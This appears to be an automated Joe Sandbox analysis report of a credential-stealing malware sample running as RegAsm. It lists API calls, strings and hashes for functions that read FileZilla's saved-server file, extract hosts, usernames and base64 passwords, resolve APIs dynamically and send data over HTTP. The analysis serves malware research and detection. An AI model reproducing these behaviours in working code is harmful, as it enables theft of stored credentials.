Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

strtok_s.MSVCRT ref: 0041015B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DA6,00420DA3,00420DA2,00420D9F), ref: 004101A2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004101A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004101C5
lstrlenA.KERNEL32(00000000), ref: 004101D3

Part of subcall function 00418380: malloc.MSVCRT ref: 00418388
Part of subcall function 00418380: strncpy.MSVCRT ref: 004183A3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041020F
lstrlenA.KERNEL32(00000000), ref: 0041021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410259
lstrlenA.KERNEL32(00000000), ref: 00410267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004102A3
lstrlenA.KERNEL32(00000000), ref: 004102B5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410342
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041035A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410372
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004103A2
lstrcat.KERNEL32(?,profile: null), ref: 004103B1
lstrcat.KERNEL32(?,url: ), ref: 004103C0
lstrcat.KERNEL32(?,00000000), ref: 004103D3
lstrcat.KERNEL32(?,0042161C), ref: 004103E2
lstrcat.KERNEL32(?,00000000), ref: 004103F5
lstrcat.KERNEL32(?,00421620), ref: 00410404
lstrcat.KERNEL32(?,login: ), ref: 00410413
lstrcat.KERNEL32(?,00000000), ref: 00410426
lstrcat.KERNEL32(?,0042162C), ref: 00410435
lstrcat.KERNEL32(?,password: ), ref: 00410444
lstrcat.KERNEL32(?,00000000), ref: 00410457
lstrcat.KERNEL32(?,0042163C), ref: 00410466
lstrcat.KERNEL32(?,00421640), ref: 00410475
strtok_s.MSVCRT ref: 004104B9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004104CE
memset.MSVCRT ref: 0041051D

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004100E4
<Host>, xrefs: 004101BC
<User>, xrefs: 00410250
browser: FileZilla, xrefs: 00410399
password: , xrefs: 0041043B
<Pass encoding="base64">, xrefs: 0041029A
login: , xrefs: 0041040A
<Port>, xrefs: 00410206
url: , xrefs: 004103B7
profile: null, xrefs: 004103A8

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: da3a1ae544897a2e9892385235bcab2548e4fbcb9ccdbebebfad516310db8d02
Instruction ID: f2c119995f801d95b771d97b8d40ebd85ad32e2919b54f786426441ea9706e1a
Opcode Fuzzy Hash: da3a1ae544897a2e9892385235bcab2548e4fbcb9ccdbebebfad516310db8d02
Instruction Fuzzy Hash: BBD1A571A00108ABCB04EBF1DC4AEEE7739AF54314F50851EF103A7191DF78AA95CB69

Function 00419270 Relevance: 66.7, APIs: 33, Strings: 5, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00EDF2A0), ref: 004192B1
GetProcAddress.KERNEL32(74DD0000,00EDF330), ref: 004192CA
GetProcAddress.KERNEL32(74DD0000,00EDF1E0), ref: 004192E2
GetProcAddress.KERNEL32(74DD0000,00EDF420), ref: 004192FA
GetProcAddress.KERNEL32(74DD0000,00EDF1F8), ref: 00419313
GetProcAddress.KERNEL32(74DD0000,00EE2F40), ref: 0041932B
GetProcAddress.KERNEL32(74DD0000,00EE2C00), ref: 00419343
GetProcAddress.KERNEL32(74DD0000,00EE2CE0), ref: 0041935C
GetProcAddress.KERNEL32(74DD0000,00EDF228), ref: 00419374
GetProcAddress.KERNEL32(74DD0000,00EDF438), ref: 0041938C
GetProcAddress.KERNEL32(74DD0000,00EDF2B8), ref: 004193A5
GetProcAddress.KERNEL32(74DD0000,00EDF2D0), ref: 004193BD
GetProcAddress.KERNEL32(74DD0000,00EE29A0), ref: 004193D5
GetProcAddress.KERNEL32(74DD0000,00EDF300), ref: 004193EE
GetProcAddress.KERNEL32(74DD0000,00EDF210), ref: 00419406
GetProcAddress.KERNEL32(74DD0000,00EE2A80), ref: 0041941E
GetProcAddress.KERNEL32(74DD0000,00EDF348), ref: 00419437
GetProcAddress.KERNEL32(74DD0000,00EDF450), ref: 0041944F
GetProcAddress.KERNEL32(74DD0000,00EE2C60), ref: 00419467
GetProcAddress.KERNEL32(74DD0000,00EDF390), ref: 00419480
GetProcAddress.KERNEL32(74DD0000,00EE2B60), ref: 00419498
LoadLibraryA.KERNEL32(00EDF378,?,004164A0), ref: 004194AA
LoadLibraryA.KERNEL32(00EDF360,?,004164A0), ref: 004194BB
LoadLibraryA.KERNEL32(00EDF3A8,?,004164A0), ref: 004194CD
LoadLibraryA.KERNEL32(00EDCA70,?,004164A0), ref: 004194DF
LoadLibraryA.KERNEL32(00EEA8E8,?,004164A0), ref: 004194F0
GetProcAddress.KERNEL32(75A70000,00EEA870), ref: 00419512
GetProcAddress.KERNEL32(75290000,00EEA8A0), ref: 00419533
GetProcAddress.KERNEL32(75290000,00EEA930), ref: 0041954B
GetProcAddress.KERNEL32(75BD0000,00EEA900), ref: 0041956D
GetProcAddress.KERNEL32(75450000,00EE2AC0), ref: 0041958E
GetProcAddress.KERNEL32(76E90000,00EE2DB0), ref: 004195AF
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 004195C6

Strings

,, xrefs: 0041934E
`+, xrefs: 0041948B
`,, xrefs: 0041945A
NtQueryInformationProcess, xrefs: 004195BA
@/, xrefs: 0041931E

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: @/$NtQueryInformationProcess$`+$`,$,
API String ID: 2238633743-2139376900
Opcode ID: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction ID: 826a308167d33dd6e89c68d84aa8ae535e40b86c028b310e96c4c1ecb1cfdbe7
Opcode Fuzzy Hash: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction Fuzzy Hash: D3A171B5500A00EFC764DF68ED88E1E3BBBBB4C361B50A51AEA05C3674D7349843DBA5

Function 00405150 Relevance: 60.1, APIs: 22, Strings: 12, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00418940: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000), ref: 00418960

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,00EF2A50), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,00EF2B30,?,00EF2120,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,00EF2BC0,00000000,?,00EF0A68,00000000,?,00421980,00000000,?,00414CAF), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
RtlAllocateHeap.NTDLL(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

------, xrefs: 004052E7
------, xrefs: 00405407
P*, xrefs: 00405267
--, xrefs: 004052D0
", xrefs: 00405756
------, xrefs: 00405549
------, xrefs: 0040568B
0+, xrefs: 004053E6
h, xrefs: 0040547E, 004055C0, 00405702
", xrefs: 004054D2
!, xrefs: 004053DC
", xrefs: 00405614

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$??2@AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$ !$"$"$"$--$------$------$------$0+$P*$h
API String ID: 531033480-1383817242
Opcode ID: 70537bace420e2a1052e3b4a7504a93ca2a222b1397ba71bd35296624ac71811
Instruction ID: 1d52745d65e853cf4120aa405e943018ad764f54ae2154c0ea3196726ecd4ecf
Opcode Fuzzy Hash: 70537bace420e2a1052e3b4a7504a93ca2a222b1397ba71bd35296624ac71811
Instruction Fuzzy Hash: 8E325071921118ABCB14EBA1DC55FEEB338BF54314F40419EF50662192EF782B98CF6A

Function 004059B0 Relevance: 53.0, APIs: 19, Strings: 11, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,00EF2A50), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00EF2BA0,00000000,?,00EF0A68,00000000,?,004219C0), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,00EF2B30,?,00EF2120,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

", xrefs: 00405D25
P*, xrefs: 00405A58
------, xrefs: 00405C5B
XA, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
0+, xrefs: 00405C3A
", xrefs: 00405E66
h, xrefs: 00405CD2, 00405E13
!, xrefs: 00405C2F
------, xrefs: 00405AE6
------, xrefs: 00405D9C
XA, xrefs: 004060CA

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$??2@AllocConnectCrackFileProcessReadSend
String ID: !$"$"$------$------$------$0+$P*$h$XA$XA
API String ID: 1710586764-4078195481
Opcode ID: 178c62c55e041f084d4565941ef0911009505f30f04abdce5e020c85204bc132
Instruction ID: fd4032899b6f210ca5ed4ade58f42d7f74ab7cfcec1a01a64090ede90c3e384c
Opcode Fuzzy Hash: 178c62c55e041f084d4565941ef0911009505f30f04abdce5e020c85204bc132
Instruction Fuzzy Hash: 4C123F71921118ABCB14EBA1DC95FEEB338BF14314F40419EF50662191EF782B99CF69

Function 004048D0 Relevance: 37.2, APIs: 11, Strings: 10, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,00EF2A50), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,00EF2B50), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,00EF2B30,?,00EF2120,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

", xrefs: 00404D83
P+, xrefs: 00404D5A
P*, xrefs: 0040497F
0+, xrefs: 00404B57
h, xrefs: 00404BEF, 00404D30
------, xrefs: 00404B78
!, xrefs: 00404B4C
------, xrefs: 00404CB9
", xrefs: 00404C42
------, xrefs: 00404A0D

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$??2@ConnectCrackFileReadSend
String ID: !$"$"$------$------$------$0+$P*$P+$h
API String ID: 594634378-110108552
Opcode ID: fd15cc926ce79e3abcebf76835f12988e02638eb8b5276e9b0a3a1adc5159e38
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: fd15cc926ce79e3abcebf76835f12988e02638eb8b5276e9b0a3a1adc5159e38
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

Function 0040A6C0 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 0040A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00EEAA58,00EEAA08), ref: 0040A7DA

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00EEAB28,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrcat.KERNEL32(?,00000000), ref: 0040AB3A
lstrcat.KERNEL32(?,004212C4), ref: 0040AB49
lstrcat.KERNEL32(?,00000000), ref: 0040AB5C
lstrcat.KERNEL32(?,004212C8), ref: 0040AB6B
lstrcat.KERNEL32(?,00000000), ref: 0040AB7E
lstrcat.KERNEL32(?,004212CC), ref: 0040AB8D
lstrcat.KERNEL32(?,00000000), ref: 0040ABA0
lstrcat.KERNEL32(?,004212D0), ref: 0040ABAF
lstrcat.KERNEL32(?,00000000), ref: 0040ABC2
lstrcat.KERNEL32(?,004212D4), ref: 0040ABD1
lstrcat.KERNEL32(?,00000000), ref: 0040ABE4
lstrcat.KERNEL32(?,004212D8), ref: 0040ABF3

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 0040AC3C
lstrcat.KERNEL32(?,004212DC), ref: 0040AC56
lstrlenA.KERNEL32(?), ref: 0040AC95
lstrlenA.KERNEL32(?), ref: 0040ACA4
memset.MSVCRT ref: 0040ACF3

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

DeleteFileA.KERNEL32(00000000), ref: 0040AD1F

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: 3acddd8f0195151d5be52069155cafe268df4f25bafd4bbce6b8a0a53be5c866
Instruction ID: db3bf564d8a269597709baab17c241dc92c2864a2a44399f5d1cb95b81495e87
Opcode Fuzzy Hash: 3acddd8f0195151d5be52069155cafe268df4f25bafd4bbce6b8a0a53be5c866
Instruction Fuzzy Hash: 13029371901108ABCB14EBA1DC96EEE7339BF54314F10416EF507B20A1DF786E99CB6A

